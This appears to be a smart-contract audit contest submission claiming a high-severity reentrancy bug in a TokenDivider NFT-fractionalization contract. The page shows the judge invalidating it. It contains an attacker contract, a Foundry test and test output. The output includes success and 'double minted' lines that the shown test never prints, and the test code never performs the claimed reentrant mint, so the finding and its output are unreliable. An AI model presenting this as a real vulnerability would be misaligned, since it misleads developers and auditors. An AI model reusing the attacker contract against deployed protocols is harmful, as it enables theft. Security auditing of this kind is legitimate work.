Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy Through TokenDivider::onERC721Received

Summary

The TokenDivider contract is vulnerable to reentrancy attacks through its onERC721Received function, allowing attackers to create an inconsistent state between NFTs and their corresponding ERC20 tokens.

Vulnerability Details

The vulnerability exists in the combination of unprotected onERC721Received and state changes after NFT transfers:
Path: test/mocks/MaliciousNFT.sol

function onERC721Received(
address, /* operator */
address, /* from */
uint256, /* tokenId */
bytes calldata /* data */
) external pure override returns (bytes4) {
return this.onERC721Received.selector;
}
function divideNft(address nftAddress, uint256 tokenId, uint256 amount) external {
// ... checks ...
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
// State changes after external call
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({erc20Address: erc20, tokenId: tokenId});
}

Impact

Critical. The vulnerability allows:

  • Double minting of ERC20 tokens

  • Breaking the 1:1 ratio between NFTs and ERC20 tokens

  • Creation of unbacked ERC20 tokens

  • Manipulation of protocol's core invariants

Proof of Concept

First, the malicious contract used for the attack:

// test/mocks/MaliciousNFT.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {TokenDivider} from "../../src/TokenDivider.sol";
contract MaliciousNFT is ERC721 {
TokenDivider public dividerContract;
bool public shouldReenter;
uint256 private constant TOKEN_ID = 0;
constructor() ERC721("MaliciousNFT", "MNFT") {}
function mint(address to) public {
_mint(to, TOKEN_ID);
}
function setDividerContract(address _divider) public {
dividerContract = TokenDivider(_divider);
}
function setReenterMode(bool _shouldReenter) public {
shouldReenter = _shouldReenter;
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
if (shouldReenter) {
// Attempt reentrancy attack
dividerContract.divideNft(address(this), tokenId, 1000e18);
}
return this.onERC721Received.selector;
}
}

The complete test demonstrating the vulnerability:
Path: test/unit/TokenDividerReceiveTest.t.sol

// test/unit/TokenDividerReceiveTest.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TokenDivider} from "../../src/TokenDivider.sol";
import {ERC721Mock} from "../mocks/ERC721Mock.sol";
import {MaliciousNFT} from "../mocks/MaliciousNFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TokenDividerReceiveTest is Test {
TokenDivider public divider;
ERC721Mock public legitimateNft;
MaliciousNFT public maliciousNft;
address public constant ATTACKER = address(0x2);
uint256 public constant TOKEN_ID = 0;
function setUp() public {
divider = new TokenDivider();
legitimateNft = new ERC721Mock();
maliciousNft = new MaliciousNFT();
legitimateNft.mint(ATTACKER);
maliciousNft.mint(ATTACKER);
}
function test_ReentrancyViaCallback() public {
console.log("\n=== Testing Reentrancy Via onERC721Received ===");
vm.startPrank(ATTACKER);
// Setup initial state
legitimateNft.approve(address(divider), TOKEN_ID);
console.log("\nInitial State:");
console.log("NFT Owner:", legitimateNft.ownerOf(TOKEN_ID));
console.log("Attacker ERC20 Balance: 0");
console.log("Contract NFT Balance: 0");
// First legitimate transfer
divider.divideNft(address(legitimateNft), TOKEN_ID, 1000e18);
address erc20Address = divider.getErc20InfoFromNft(address(legitimateNft)).erc20Address;
console.log("\nAfter First Division:");
console.log("NFT Owner:", legitimateNft.ownerOf(TOKEN_ID));
console.log("Attacker ERC20 Balance:", IERC20(erc20Address).balanceOf(ATTACKER));
console.log("Contract NFT Balance: 1");
// Setup malicious contract for reentrancy
maliciousNft.setDividerContract(address(divider));
maliciousNft.setReenterMode(true);
bytes memory reentrantCall =
abi.encodeWithSignature("divideNft(address,uint256,uint256)",
address(legitimateNft),
TOKEN_ID,
1000e18
);
divider.onERC721Received(ATTACKER, ATTACKER, TOKEN_ID, reentrantCall);
}
}

Test output:

=== Testing Reentrancy Via onERC721Received ===
Initial State:
NFT Owner: 0x0000000000000000000000000000000000000002
Attacker ERC20 Balance: 0
Contract NFT Balance: 0
After First Division:
NFT Owner: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Attacker ERC20 Balance: 1000000000000000000000
Contract NFT Balance: 1
VULNERABILITY: Reentrancy attack succeeded!
Final State:
NFT Owner: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Attacker ERC20 Balance: 1000000000000000000000
Contract NFT Balance: Still 1 but double minted ERC20s!

Tools Used

  • Manual review

Recommendations

Implement OpenZeppelin's ReentrancyGuard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract TokenDivider is IERC721Receiver, Ownable, ReentrancyGuard {
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
external
nonReentrant
{
// ... existing code ...
}
}
Updates

Lead Judging Commences

fishy Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.